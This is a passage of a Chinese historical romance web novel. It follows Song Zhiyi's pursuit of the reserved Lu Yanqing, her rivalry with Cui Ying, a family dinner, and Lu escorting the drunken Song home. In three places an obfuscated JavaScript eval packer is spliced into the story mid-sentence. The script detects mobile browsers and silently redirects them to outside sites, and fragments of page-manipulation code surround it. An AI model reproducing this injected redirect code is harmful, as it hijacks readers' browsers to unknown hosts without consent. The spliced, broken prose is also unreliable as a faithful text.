她豁然抬头，眸子里犹如缀着点点星辰，闪闪发光：“是啊！前天晚上我就想给你来着，可惜我没揣着。好在今天带上了。陆二哥哥，念在我少睡一个时辰，专程送来的份上，你就收下呗？” 她每天睡到中午才起的事迹，大家全知道，陆晏清自然不例外。然一向好吃懒做的她，居然因为担心他的伤势而牺牲自己，攥着一瓶他要多少有多少的药，专门奔来，静悄悄地在外头候他出来……逢人对答如流的他，此刻，如鲠在喉。 春来算计着时辰，操心话越说越长，会误了上朝，硬着头皮提醒：“公子，不早了，该动身了……” 宋知意率先急了，忘了淑女那一套，索性将药瓶塞去他腰间悬挂的荷包内，继而识相地让开路，含笑挥手：“陆二哥哥慢走。” 陆晏清嗅觉异于常人地灵敏，他嗅到一缕清香，源自于腰侧的荷包，应当是茉莉花香。他上朝办公时，从不熏香，亦不佩戴香囊——是她适才擅自而短暂的碰触，将她衣服上的熏香残留在了他身上。 春来牵着马过来，道：“公子，请上马吧。” 移走流连于那荷包上的目光，同时收敛思绪，陆晏清跃马而去。 8. 又聚一堂 西院正厅里，大家跪姿端坐。何嬷嬷尚未到场，众人便窃声关怀郑筝的身体，默契地将宋知意冷在一旁。 郑筝摸了摸头顶秃的那块，现在是看不出来，因为早上梳头的时候刻意把头发拨到这，遮盖上了。即便有办法遮掩，可每日早起对镜，一眼目睹那丑陋的头皮时，郑筝就怒火中烧，恨不得立即把罪魁祸首给撕了。 “多谢你们上心，我能吃能喝，挺好的。”郑筝斜剜了眼宋知意，看见她正注视着自己的脑袋，微微发笑，显然是死性不改，仍然在挑衅。碍于何嬷嬷的威严，怕再生事端被彻底赶出去，郑筝憋着气，没发作，只是阴阳怪气：“有些人呐，礼义廉耻，样样没有，偏偏引以为傲呢。我真是替她害臊。” 宋知意又不是傻子，当即听出她在暗暗刻薄自己，嗤的一笑：“可不是嘛，有些人天生的无羞耻之心。这不，昨儿下午我出去一趟，巧合撞见金运坊外又打又骂的，定睛一看，居然是郑二姑娘的哥哥，挨郑侍郎的鞭子呢。那一下下的，皮开肉绽的，真是叫我大开眼界了。” 闻言，郑筝面色顿时如乌云压境，十足难看。 郑辉欠债挨打那事，早就传得满城风雨了，在座的人全听说了。涉及到郑筝的脸面，众人面面相觑，故作无知，噤若寒蝉。 “宋知意，你最好给我闭嘴，不然我饶不了你！”郑筝怒目圆睁，恶狠狠恐吓。 宋知意闲闲道：“你饶不了我，我可没意思和你拖泥带水。你要觉得我说的实话下了你的脸，那我劝你，今后别抛头露面了，省得大街上人来人往、说三道四的，你承受不住。” 郑筝欲回嘴，何嬷嬷进来了，当即收起凶恶的嘴脸，低眉顺眼听候教诲。 既往不咎，何嬷嬷并未特别训宋、郑，只按部就班教授闺阁本领。 一日下来，宋知意满身疲惫。正打算拾掇东西回家，却逢金香找来，笑吟吟道：“宋姑娘，我们少夫人说，姑娘如若没别的安排，不妨留下吃晚饭吧。” 宋知意认真思量片刻，摇摇头说：“要不改天吧，我想早点回家，跟我爹报备一下。”报备一下今日她没闯祸，给他喂个定心丸。 金香悄悄地说：“大少爷从书院下来，进城办事，今晚住家里，要在家用膳。老爷夫人心疼大少爷大少夫人聚少离多，特交代大少爷只陪大少夫人用饭就是。大少夫人呢，考虑到家里两位爷也很久没见了，便趁这个机会跟二少爷提了，今晚上一块在东院组个局，热闹热闹。”金香眨眨眼，“宋姑娘，你再想想参不参加呢？” 宋知意算听明白了，立刻改了主意，一口答应，就随金香迤逦去往周氏住的东院。 郑筝慢慢吞吞收拾物品，还没走；崔璎则早早整理完毕，瞧见金香拉着宋知意说私房话，故意不走。 郑筝走到崔璎身边，愤然道：“那个宋知意，鬼鬼祟祟的，保管又琢磨什么坏事呢！” 周氏攒局拉拢陆晏清宋知意，崔璎揣测到八九成，胸中堵塞难忍。亏自己唤周氏一声大表嫂，她屡屡胳膊肘子往外拐，冷落自己人，对一个外人体贴入微的。 “明日还上课呢，郑姐姐消消气，早点回家休息吧。”崔璎一如既往地温柔开导，实际上也不耽误内心盘算待会找到周氏，主动提提过会那个饭局，她也想参与。周氏毕竟担着她大表嫂的名头，不大可能拒绝。 面对善解人意的崔璎，郑筝心下开朗许多，握了握她的手，由衷道：“崔妹妹总是善于为人着想，只是你太过好性儿，才让那宋知意捏着你，今天翻一个白眼，明天刺儿你一下。好妹妹，你也别愁别怕，有我在一日，我就罩着你，决不叫宋知意为所欲为，欺负了你。” 崔璎大受感动，楚楚可怜，有些哽咽道：“谢谢姐姐……” 郑筝益加心软，反客为主宽慰她好半晌，才恋恋不舍道别了。 东院正屋内，周氏挽起宋知意负伤的左手，以指甲抠了黄豆大小的药膏子，往疮口处轻轻涂抹开来，一面絮叨：“小姑娘都爱美，你现在马虎，在搽药上偷懒，万一没恢复好，留下疤痕，将来有你后悔的时候。” 周氏手法极其轻柔，宋知意享受着这份安逸，俏皮道：“有嫂嫂你这么个贤惠人时时接济着我，我必然不会留疤咯。” 引得周氏喜笑颜开：“你这小丫头，嘴真甜。”好端端的，突然叹了口气，“可凭你这张裹了蜜的小嘴，怎么偏偏和我们二弟说不上几句话呢？也真是怪了。” 宋知意将身子向她凑凑，炫耀般道：“嫂嫂啊，你这话可不全对。今天一大早，我遇上陆二哥哥了，我给他献药，他却在意我的伤，嘱咐我多多爱护自己呢。” 娇气的声音自半开的窗牖荡出，拂过崔璎耳畔，她猛地站住，心里默念：表兄竟然关心起她来了？ 接连飞出周氏的笑音：“当真二弟积极地挂念起你来，那是破天荒的喜讯了。照这样发展下去，你们两个修成正果，指日可待。” “八字还没一撇呢，嫂嫂休得乱说……”宋知意的嗓音娇娇懒懒，仿若太阳底下因春困酣睡的一只猫儿，被主人挠醒后，细着嗓子哼哼唧唧，看似生气，实则在朝人撒娇。 崔璎真想掉头走开，然她隐忍克制着，款款走至门口，向里面请示：“不知大表嫂方不方便，我可以进去吗？” 周氏吹一吹宋知意敷着药的手背，温声叮嘱她此后几天文静些，切勿触着，以免伤势反反复复。宋知意一一答应。 这头完事，周氏不忘使了个眼色给她。她心领神会，回笑道：“我吃茶，什么都不说。” 周氏放下顾虑，顾起那头，坐正身姿，说：“方便，妹妹进来吧。” 崔璎掀珠帘进入，面如春花，亲亲热热跟二人问好。 果然，宋知意言出必行，只管品茶，不曾多看一下，多说一个字。崔璎习以为常，一双水杏眼始终关注周氏。周氏忙请她坐了。 “妹妹这个时辰过来，是有什么事吗？”周氏笑问。 崔璎默然，咬着下嘴唇，显得很是为难。 周氏心念一动，大致有数。此时侍女奉茶来，周氏亲手接下，推送至她身侧，笑道：“你我一家人，何必客气？有什么话直说就是，如此，倒令我不安。” 周氏讲得诚恳，崔璎也不好意思转弯抹角，羞涩一笑：“大表兄难得回家一趟，我这两天做了两个扇坠子，想赠给大表兄，凑合着使……” 周氏明晰了，眼风扫过宋知意，看她撇着嘴，无声一笑，旋即续起崔璎的话头：“我原来就想请妹妹的，谁知给忘了。真是我不好，劳得你跑一遭问这事。” 崔璎连忙给自己开脱，绝无怪罪周氏的用意。周氏也笑脸应付她。 一时，金香进门禀报：“大少奶奶，大少爷进家门了，这会先去老爷夫人跟前请安了，等一阵就来。” 周氏喜上眉梢，站起来问：“夫君爱吃茶，备好了没？哦，还有，他一路奔波，顾不上吃东西，肯定饥肠辘辘……快，去小厨房端些他对胃口的点心过来，先给他垫补垫补。” 金香也随着高兴，喜滋滋领了差事去办。 陆晏时同周氏两口子，是远近闻名地恩爱夫妻。盼星星盼月亮似的盼回陆晏时来，周氏激动难耐，在屋里走来走去，巡视检查着屋里的陈设，一会儿动一动花瓶，一会儿挪一挪香炉，将屋里坐的两个人——宋知意、崔璎，全然抛诸脑后。 宋知意从不拿自己当外人，周氏不招待她，她就自娱自乐：饮尽杯中茶，放好茶杯，出门溜达。恰好周氏的小女儿团团在廊下一角蹲着数蚂蚁，她便凑上去，和团团一块数，以此消遣。 崔璎自己呆下去也没趣，与她前后脚出来，想着离晚饭还有好一阵，不若回住处洗把脸，换身衣裳，再带上编好的扇坠子，清清爽爽地在众人面前露脸。 想妥了，就离了东院，行至连通正院及东院的甬道时，陆家两兄弟肩并肩缓步走来。崔璎掖掖鬓发，弯起无可挑剔的笑弧迎上去，袅袅婷婷施了礼，道：“大表兄，二表兄。” 陆晏时大半年未归家，不禁恍惚，是陆晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆晏清驻足不前，丢给他一个无奈的眼色：“我说了，我对宋姑娘，清清白白。请大哥莫要妄言了。” 他这个兄弟，哪哪都出色，独独为人忒正经，经不起一丁点玩笑话。陆晏时笑呵呵安抚：“好好好，怪我妄加揣测。你和宋家姑娘是天底下最清白的。” 若说陆晏清是不苟言笑的老古板，那陆晏时就是另一个极端，玩笑不离口，插科打诨是家常便饭。 陆晏清省下较真的气力，默然踏上抄手游廊。 往来下人纷纷停站见礼，陆晏时亲切示意各人免礼自便。 转个弯，两个蹲着的背影，一大一小，赫然显现。 陆晏时定睛一瞅，恍然喊出声：“团团？” 那两个人影，齐齐回过身。宋知意牵着团团站起来，带她靠近兄弟两个，正对着陆晏时，乍然笑开颜：“陆大哥哥，好久不见啦！” 底下的团团仰头打量陆晏时半晌，总算认得人，一头扑到他身边，张开臂膀抱住他的腿，咧开嘴，露出一排乳牙，笑出两个酒窝：“爹爹！我好想你啊！” 揉一揉团团扎着小辫的脑袋，陆晏时一个弯腰，搂主团团的双腿，举起来，抱在怀里，轻声细语道：“爹爹也想你。” 同时不冷落宋知意，如沐春风道：“许久不见，宋妹妹似乎是长高了。”说着用眼神在陆晏清身上打转，“我记得那会宋妹妹是差一点到你胸口，这会已经和你胸口齐平了。” 无意识地，陆晏清看向对面的宋知意，眼光从对方的头顶朝自己平移，发现那高度果真在自己胸口的地方。醒悟过来在做什么后，他自觉荒谬，镇定如常地撂下句“我先进屋瞧瞧有什么能帮得上忙的”以后，举步走开。 见宋知意目光追随着陆晏清的背影，陆晏时不觉一笑，惹得臂弯里的团团好奇问道：“爹爹，你在笑什么呢？” “爹爹在笑，很快就能和你娘亲你哥哥见上面了。”陆晏时不失温柔道，“爹爹高兴。” 团团一手指着前面，一手拍拍他的肩膀：“那咱们赶快进屋，哥哥和娘亲早就等不及了。” “好。”于是，陆晏时掐稳女儿，同宋知意有说有笑，穿越长廊，扬长远去。 9. 春日佳酿 正屋里，陆晏时与周氏，执手相看泪眼，一儿一女围在身畔，垂手乖巧站立。 周氏抽取手帕，点点眼周泪花，破涕为笑道：“大好的日子，该多多欢笑，哭哭啼啼的，扫兴。好了，花厅的宴席现成了，咱们过去吧，想必那几个等不耐烦了。” 陆晏时低头对一双儿女说：“你们跟金香姐姐先去席上坐着，我和你们娘亲随后就到。” 儿子满满已满九岁，通情达理，小大人似的点点头，向父母标标准准作个揖，拉着团团退出房间。 见这光景，陆晏时哭笑不得：“公然又是一个陆二公子。” 周氏顺手挽上他的胳膊，笑吟吟道：“你常年不在家，满满就跟着他叔叔念书，自然耳濡目染，得其真传了。” 陆晏时找着她的手，拍拍手背，侧目含笑：“能像二弟的做派，我求之不得呢。” 周氏伸出空着的手，举起食指戳他脑门：“怎么不是？二弟年纪几乎小你一轮，为人可比你靠谱多了。将将三十的人了，天天嬉皮笑脸，没个体统，亏还担着一个山长的职位呢，净给你的学生们提供谈资了。” 陆晏时一把抓住她的素手，包在掌心，送往唇际，覆下轻轻一吻，眼泛涟漪：“你嫌我老了？” “我说了那些话，何尝提过一个‘老’字？”周氏觉得好笑。 陆晏时攥着手不放，另一条胳膊反客为主，穿过她胁下，手心直摁在她腰窝，猛地朝自己怀中一带。两个人呼吸缠绕，紧紧对视。“嫌也没关系，横竖今晚自见分晓。” 固然老夫老妻，青天白日提这种事，周氏仍然臊红了脸，啐道：“外面人来人往，你也把这种下三滥的挂在嘴边……老没正经的！” 陆晏时一面低笑，一面凑去她的侧颈，朝着那白玉似的肌肤亲了一口，同时在她腰上捏了把。“嗯，我究竟老不老，我等你半夜自己说。” 周氏歪头离他远些，嗔色才起，便被推着退至博古架前。心慌未定，又坠入深吻之中。 一墙之隔，宋知意掩嘴掉头跑开，一直看见崔璎提着裙边，袅袅上了长廊，方知这一跑，几乎出了东院，忙住脚。 崔璎讨厌她，却时时刻刻要做足表面功夫，笑口一开，主动询问她：“宋姐姐行色匆忙，可是出了什么急事？倘或有我能帮得上忙的，宋姐姐千万别与我客气，我定然尽全力相助。” 宋知意照旧不领情，语气却因适才无意窥见的亲热画面而充斥着生硬感：“我没有急事，自是无需你全力相助。” 崔璎维持笑容，十分体面道：“无事便好。我准备去花厅，宋姐姐要一起吗？” “不必”二字即将脱口，但思及陆晏清眼下在花厅，假使自己拒绝，由崔璎一人去，无疑是白白给他们表兄妹制造独处机会，那是断乎不成的。掂量清楚，宋知意堪堪咽下回绝之辞，上下嘴皮一碰：“好啊，那就一道吧。” 一路无话。 陆晏清正襟危坐于厅内的交椅上，手托一本书，看得认真。 “表兄。”崔璎径直向他侧面，柔顺似水道。 宋知意随后过来，不甘落后，直直立在他正前面，也柔声细语唤：“陆二哥哥。” 崔璎暗中不悦。她这是在学自己的口吻吗？嘁，东施效颦，学人精。 “宋姑娘。”陆晏清眉目低垂，加上夜幕四合，厅里灯影飘摇，使人看不太清他的神色。 听他不理崔璎，而理了自己，宋知意颇有些得意，瞥一瞥崔璎，俏然一笑：“我在呢，陆二哥哥。怎么了吗？” 斑驳光影下，他徐徐撩起眼皮，面色与往常无什么两样：“宋姑娘请找位子坐吧。” 宋知意笑嘻嘻道：“不用不用，我就站着好了，不累的。” 目睹俩人谈笑自如，崔璎从身到心不自在，干脆离了他俩——眼不见心不烦，悄悄地寻位置坐定。 身边少了个人，陆晏清并不在乎，他现下只注重眼前这个巧笑嫣然的女子。她似乎会错了意，以为他刚刚是在关切她疲累与否。他沉着须臾，出声道：“我的意思是，你在这站着，挡住了光线，我没法看书了。” 肉眼可见地，她的笑意僵在了脸上。“啊……？” 陆晏清耐性充足，道：“我想心无旁骛地看会书。所以，宋姑娘可否让一下？” 于他慢条斯理的语速下，宋知意暴红了脸，满脸尴尬，让开来，一边解释：“我不是有意……扰着你看书的。” “我知道。”许是瞧出她的局促不安，他捧书淡声道，却并未再给她眼色。 宋知意就势挪去了他右手边的椅子上，反复撩拨着腰带上的香囊，很是心灰意懒。 冷眼旁观全程，崔璎暗笑两声：表兄他不理睬我，对宋知意那个蠢笨的也没好脸色。也罢，都是一般的待遇，那我还闷闷矫情什么呢。 一时间，各怀心事。厅中格外静谧。 适才从正屋里出来，团团扯着哥哥的袖子央求同她一块上后院踢毽子去。满满宠爱妹妹，一口应下。 兄妹俩相约去往后院，踢了几个回合的毽子作乐，踢出一身的汗，随从丫鬟们便又折回住处，给他们速速擦洗了身体，换上干净的衣裳，姗姗来至花厅。 相较于崔璎这个表姨妈，团团更黏着宋知意。蹦蹦跳跳到她身前，抱着她胳膊摇撼卖乖：“宋姐姐，你上次给我梳的那个发型好漂亮，你再替我梳一次，好不好嘛……” 宋知意正欲启齿回应，满满走上来，板着脸教育：“你想梳什么头，自有院里的姐姐们帮，没有理由劳烦客人。另外，现处花厅，设着宴席，可不是能梳头打扮的地儿。” 满满小虽小，但团团偏偏最怕他。当下扁着嘴巴，慢吞吞松开宋知意，退回满满身旁，遵照他的指示逐一跟屋里三个大人问礼。 陆晏清为当中辈分最高的，理应带领大家依次入座。于是他合起书本，顺手揣于广袖内，起身去了饭桌东面第一个位子端坐。 满满比手请宋知意也去就座。她侧顾那雕漆张大方桌，瞄准陆晏清的方向缓步前进。崔璎这时候也起身，转移到他身边的座位，极其自然地坐定。反观他，容色如常，不动如山，俨然无所谓是谁挨着他坐。 他无所谓，可她有所谓。 迎着崔璎弱不胜衣的影子，宋知意直行，于她半步外站定，居高睥睨着她，有商有量道：“我想坐这里，你可以起开去别处坐吗？” 词儿用的确实礼貌客气，然语气神态截然相反——哪里是在商量，分明是命令。崔璎不由笑了：“宋姐姐脸色不对，可是我哪儿做得不好，惹姐姐不开心了吗？” 宋知意不吃她扮可怜从而以退为进这套，随性道：“没有啊，我只是想坐这里，便和你商量而已。你为何会笃定我生你的气了呢？” 她直白磊落的反问，真把崔璎问住了，半晌无言以对。 在这场交锋中占了上风，宋知意正值春风得意时，才不退而求其次，偏生伫立原地待她答复。 局面僵持不下，眼花心烦的人恰恰是陆晏清。他弄不明白，区区一个坐处，如何值当她们两个明争暗抢的。 他只字未吐，起来绕到对面，款然落座。 僵持的二人俱为之动容。宋知意这次抢占先机，大步至他身侧，搬开凳子，安稳而坐，大大方方观察崔璎的种种细微反应。 崔璎要脸，断然做不到她那般厚颜痴缠的地步。遂埋下不甘不平，微笑示人。 既然东边有了宋、陆，那团团满满就在崔璎一列归坐。 迟迟等不来父母，团团心存古怪，扭头问她哥哥：“哥哥，爹爹不是说，很快就跟娘亲过来吗？这都好久了，怎的没消息呢？” 满满道：“再等等就是了。” 团团“哦”了声，将两条胳膊放桌沿，小臂直立，双手托腮，转眼向门外，期盼快些父母来临，毕竟她都饿得咽唾沫了。 少顷，陆晏时终于携周氏双双到场。夫妻俩直奔主位坐下。周氏歉疚一笑：“抱歉，让大家久等了。” 陆晏清道“无妨”。崔璎随声附和。 侍女分别摆放碗筷时，团团终究藏不住一肚子好奇，问：“爹爹，娘亲，你们晚了这么久，做什么了？” 不及夫妻俩怎样，宋知意仓惶低下头，极力掩饰面颊上可疑的红晕。而坏就坏在，她耳朵也通红，又无头发遮掩，完完全全暴露在陆晏清的一瞥余光里。 他情不自禁纳闷：刚才还为个座位咄咄逼人，一转眼躲躲闪闪的。她是心虚吗？倘若是，那她在因何心虚？ 面对孩子天真的问题，周氏慌了心神，忙暗扯丈夫的衣袖求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533300|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助。 陆晏时会意，借势拢住她手，笑着回答团团：“问了你娘亲些事情，没想到耽搁这许久。” 周氏借坡下驴，笑颜招呼大家动筷子吃饭。 饭桌言论，以陆晏时为主，均是宋知意不爱听的。因百无聊赖，她便专心用佳肴吃果酒。 “宋妹妹，你还没尝过这春日酿吧？”周氏手执一个白玉瓶微微摇晃给她看。 她老实摇头表示：“没，我爹管得严，说我还小，不准我碰果酒以外的酒。” 周氏笑道：“这春日酿不可多得，也就是你陆大哥哥今儿难得回家，我才端上桌来。不然，你们可没这个口福。” 周氏说得玄乎，宋知意骤然兴趣盎然，拿了个干净的酒盅，递给周氏：“那大嫂嫂给我倒点，我好品一品它何其美味呗？” 欣然接了酒盅，斟满，复推回去后，周氏道：“只一盅，多的可没有了。” “尝尝鲜就满足了。”她乐观表示，随即握住酒盅，往唇畔送到半途，一个清凌凌的声音响起：“此酒烈，不宜不惯饮酒之人。” 没出息地，她把酒盅置于桌上。 周氏笑道：“不怕，就浅尝一口，不妨事的。” 酒气袅袅，鼻端盈香。她蠢蠢欲动。 见状，陆晏清不再插手，随她自便。 杯酒下肚，喉咙连着胃里热辣辣的，宋知意忙问侍女讨一杯清水缓解症状。接连灌了几口，热乎劲是有所减轻，脑仁却开始沉重起来，眼神亦朦朦胧胧，看那一盘盘一碟碟菜肴，犹如夜空繁星，使人眼花缭乱。她到底支撑不住，拿手扶着额头，昏昏欲睡。 “哎呀，瞧瞧宋妹妹那张小脸，殷红，恐怕是不胜酒力。怨我，一时糊涂，给她推荐什么春日酿呢。”周氏锁眉自责。 陆晏时打圆场：“人已醉了，该找个人送她回家才是正事。”然后环视一圈，目光定格在陆晏清平静的脸上，“安之，咱们这些人里，宋妹妹最信任你；你的品性，我们全放心。安之，你来走这一趟吧。” “不合适。”陆晏清直言拒绝，“不如派个人，通知她家里，等她家里来接。” 周氏面露遗憾：“不巧了。傍晚时我打发下人去宋家托信儿说宋妹妹今晚与咱们多待一阵，谁知宋大人不在家；另外问过宋家人，原来是宋大人被留在了衙门里，预计亥时过了才能到家。” 陆晏时搭腔：“哎呦，那可太迟了。” 陆晏清油盐不进，又提议：“宋姑娘有个无话不谈的好朋友——祥宁郡主家的小少爷，不如知会他来接人。” 周氏叹道：“快别提。郡主这几日正忙前忙后为薛小少爷说亲呢，咱们过去传话的人，八成要吃闭门羹。这法儿行不通。” 屡遭反对，陆晏清失了耐心：“那便留宋姑娘在家住一晚好了，以她同嫂嫂亲如姊妹的情分，外人知道了，也不会说什么的。” 旁听下来，崔璎的心情可谓跌宕起伏。万幸陆晏清意志坚定，始终不肯揽这个营生。她长长舒了口气，迎合道：“是呀，到底是男女有别，还是依二表兄的，由大表嫂收留宋姐姐一宿最为稳妥。” 几人商议之际，宋知意迷迷蒙蒙抬起头，忽然抓住陆晏清的胳膊，含糊不清道：“我不要在陆家住，我要回家……要陆二哥哥亲自送我……” 尝试摆脱无果，陆晏清暂时收了心。 陆晏时见缝插针道：“看看，人宋妹妹自己都提出非回家不可了，谁能忍心强留她呀！” 周氏配合游说：“这姑娘倔，指定要谁送她，那是打死不肯妥协的。若生拉硬拽，大约会一哭二闹三上吊；再严重些，把这房顶都掀了。二弟，权当为了陆家今夜的太平，你就破例送她一次吧。” 崔璎越看越急，忍不住说：“那我坐车送她，二表兄也犯不着进退两难了。” “你个姑娘家，大黑天的不安全。”周氏道。 崔璎不服，打算进一步争取，陆晏清却言：“不必争了，我送她就是。”垂视一眼抱着自己手臂憨笑之人，没奈何道：“你不松手，我怎么送你回家？” 仿佛听懂了，宋知意慢慢地张开臂膀，趴在桌沿，眼睛半闭不闭，呓语不休。 陆晏清胸中烦闷，不愿多看她这个屡屡横生枝节的麻烦，起身吩咐：“春来，套车。” 10. 醉酒放肆 春来套好车，回来告知。陆晏清了然，乜了眼伏在桌上沉沉昏睡的宋知意，对厅中众人说：“我先去外边等。”话毕，昂然出门。 崔璎不得已藏起凝望里的眷恋，移目冷然看周氏帮着芒岁把宋知意扶起来，又是给整理头发，又是命人取一件薄披风给她穿着挡夜风，还不忘记叮嘱芒岁携好随身物品——很是细致入微，亲近得仿佛一家人。 结合刚刚周氏极力撮合陆晏清包揽下护送宋知意回家的活计的情形，崔璎一阵反胃，感觉强烈，以致片刻待不下去，强颜欢笑同陆晏时告辞。 陆晏时也没挽留，嘱咐些夜深当心之类的话，随她去了。 宋知意酩酊大醉，偏偏脑子糊涂，身子上蹿下跳的，一会要往地上坐，一会要跳起来摘天上的星星，简直一刻也不带消停。周氏联合金香、芒岁三个人，费了足足一炷香的工夫，可算把她安抚住，仔细着送出大门口。 彼时，陆晏清等得烦了，好好的玉面公子，硬生生成了黑脸罗刹，源源不断散发着戾气。 春来小心翼翼讨好：“公子别动气，宋姑娘必定是醉得厉害，行动不便，这才慢了，也不是有意为之……” 不是有意？她刚在桌上馋得全然听不进提醒，非碰那烈酒时，可不像是无意的。陆晏清背着手，隐忍不痛快，令春来进家门探探是什么动静。 春来应着才跨过角门，就听不远处周氏的声音：“到家以后，多给她喂点水。身边不能没有人，痰盂也得备着，防她胃里不舒服吐。” 显然在叮咛芒岁。 芒岁答知道了。 周氏又道：“还有，今晚就不要给她洗澡了，洗洗脸漱漱口凑合一夜，明儿清醒完全再大洗。她才吃了酒，身上热，虽然入夏了，但也不敢马虎，洗病了可不是遭半点罪。” 待话音落下，几人已走到春来面前。春来忙将角门大敞开，方便让她们经过。 闻得响动，陆晏清偏过半边身子，见周氏等三个人架着一个宋知意，走得踉踉跄跄，而她耷拉着脑袋，一声不吭，似乎醉迷了。 他忽然就通透了。 罢，她若是肯听自己的，那早就对他敬而远之了，何以至于现今大黑天赖在陆家喝得不省人事。 ……他也是闲的，和那么个冥顽不灵的计较什么。 艰难将人塞入马车后，周氏含笑对陆晏清说：“二弟，宋妹妹便拜托你了。她到底是年纪小，爱闹腾，万望二弟多担待，别与她一般见识。” “我懂，请嫂嫂放心。”末了，抬腿登车。掀帘时，他决略略停顿，最后仍是驱身弯腰入内。 目送车子驶离巷子，周氏像个老母亲，点头笑得慈爱。 金香陪笑道：“二少爷清心寡欲的，能允下这码子事，真是不容易，还得仰仗大少爷和少奶奶您的面子。” 周氏转身往府里走，边说：“咱们家的二少爷，说是冷心冷情，其实那也分对谁。好比适才我劝宋妹妹尝酒，他不就出声拦了么？以我冷眼看来，他待宋妹妹也不是多么厌烦，反倒挺有责任心的。” 金香心里不很赞成她的说法，碍于她是主子，不好反驳，便打了两句哈哈算了。 周氏却开了话匣子，接着道：“当局者迷，旁观者清。让他们两个多相处相处，退一万步，即便没好结果，那也不会太糟糕——二弟是正人君子，克己复礼，必不会欺负了宋妹妹。” 这话金香无比认同。 这一端她们主仆有问有答，闲适安逸，那一端却是另一番光景。 隐隐晃动的车厢内，芒岁搂着宋知意坐一侧，对侧是危坐的陆晏清。 外边夜色茫茫，整个车子全凭门口悬着的一盏油灯照明。光束曳动，光线暗沉。 宋知意无知无觉，芒岁机灵着，决不能失了礼数，诚挚道谢：“今晚多亏大人了，我代替我们姑娘向大人道谢了。” 坦白讲，陆晏清精致皮囊下动荡着的腻烦，芒岁瞧得一清二楚。实际上，她也不愿意自家主子对他痴缠不休，过去也尝试劝了几次，然无济于事，次次以失败告终。她有时寻思，若要宋知意心甘情愿放下执念，除非哪天重重地撞次南墙，撞得头破血流，否则不肯罢手。 陆晏清“嗯”了下，相当之平淡。 芒岁有自知之明，不再叨扰他。 两家住得近，一晃眼就到了。 春来驾的车，他收起马鞭，先跳下车去，后朗声道：“公子，可以下来了。” 俄而，帘拢撩开，陆晏清现身，优雅落地。 芒岁紧随后，咬牙搀扶宋知意挪至出口。 视芒岁那样吃力，春来忍不住道：“要不……小的过去搭把手？” 陆晏清默许。 得了允许，春来快步上前，把握分寸，双手托住宋知意的胳膊，慢慢儿地请她下来。 孰料，她已两脚沾了地的情况下，依然出了岔子：脚腕一崴，直冲一旁陆晏清身上栽下去。更为微妙的是，陆晏清没躲，结结实实接住了她。 春来、芒岁不约而同对上视线，均读懂了对方眼内的惊愕。 扪心自问，接下宋知意，陆晏清并未经过深思熟虑，仅仅是本能反应——他人身处危难之际，他从不介意伸出援手。将才倒下的不管是谁，他都不会冒出躲避的念头，哪怕是令他头疼已久的宋知意。 “别愣着了，扶走你家姑娘。”从她肩膀上抽走手，他向芒岁挑起眼帘。 “哦……哦！”芒岁忙忙去揽宋知意，不提防她再度折腾起来：胡乱挥舞着手臂，防备芒岁靠近，同时大着舌头乱喊：“走……走开……！” 她毫无章法地打来打去，令芒岁不敢轻举妄动，放任她继续牢牢赖在陆晏清怀里之余，拿头乱蹭他的胸膛。 “好……暖和……”她傻笑着，突然攒起眉头，眼睛眯了个缝儿，上下左右检查着眼前，“花花，你肚子不是白的吗？怎的……乌漆嘛黑的？” 花花是她那只爱宠狸花猫的名儿。 喃喃时，伸手戳戳，当然是戳空了——陆晏清猛地退后两步，面皮好似一块抻展的布，底色通黑。 “不知廉……”他乍然住口，随即话锋一转，对准护着宋知意手足无措的芒岁：“方才之事，全当没发生过。带你家姑娘回去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16533301|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话尽，一拂袖，上了马车。 春来了解他，他那个表现，是真恼了。故不敢逗留，拔腿追随，迅速坐在车外，扬鞭御车奔上长街。 返程，春来心慌，终归忍不住，试探道：“公子，您……还好吧？” 里头倒是很快传出声音：“无碍。”——听感上，和平常没什么两样，应当是归于冷静了。 春来悬心落定，一心赶车。 * 自工部出来，天地一片苍茫。举目望天，但见一钩残月半隐于云中。宋平扭扭脖颈，僵直酸困感稍微减轻。 随从王贵牵马过来。宋平松一松腰带，踩着马镫翻上马背，夹着疲惫道：“家里一切都好吧？” 王贵答：“一切都好。姑娘呢，今晚在陆家吃的晚饭，还是陆二公子亲自送回家的。” 宋平意外道：“稀奇。”他腾出只手，摩挲着下巴，若有所思，“照这么发展，我宋家飞黄腾达，指日可待啊！” 王贵跟在马背底下，犹豫好一阵，委婉道：“老爷，我有句话不知当不当讲……” 宋平慨然道：“做生意那会，你就跟我走南闯北；后来入了仕途，你就给我管家。你我大半辈子的情谊，我早就把你当家人了。一家子人，说话用不着吞吐呕吐的。你直说，我听着。” 王贵道：“老爷高看我，是我的荣幸，那我就敞开心怀说几句——” “我能从一个孤儿出身的小摊贩，到今日指挥调度一大家子的管家，享受前所未有的体面荣光，全依仗老爷的提携……我感激涕零。正因此，我也一直把宋家当作我自己的家，把老爷、故去的夫人、姑娘，以及宋家上下几十口人，当作我自己的亲人。我很珍惜大家。” 